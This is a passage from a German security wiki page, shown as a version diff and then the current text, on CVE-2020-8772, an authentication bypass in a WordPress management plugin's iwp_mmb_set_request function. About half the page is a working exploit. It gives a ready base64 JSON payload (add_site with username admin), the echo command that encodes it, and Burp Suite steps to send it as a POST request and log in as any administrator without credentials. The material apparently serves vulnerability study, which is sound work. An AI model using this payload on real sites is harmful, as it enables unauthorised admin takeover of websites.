Authentication Bypass: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| + | =CVE= | ||
| + | *CVE-2020-8772 | ||
=Vorbermerkung= | =Vorbermerkung= | ||
| − | *Das | + | *Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden. |
| − | * | + | *Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet. |
| − | * | + | *Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird |
| + | *Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt | ||
| + | *(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.) | ||
| + | *Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet | ||
| + | *DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen. | ||
Version vom 12. April 2022, 14:56 Uhr
CVE
- CVE-2020-8772
Vorbermerkung
- Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
- Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
- Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
- Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
- (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
- Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
- DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
Request
- Reload the target website and intercept the request using Burp Suite.
Payload
- Create the JSON payload and convert it to base64.
Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
- echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
- Append the base64 generated payload with the String mentioned in the exploit URL.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
- Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.
- Place the payload created as POST request arguments.
- Click on Forward and turn of the intercept.

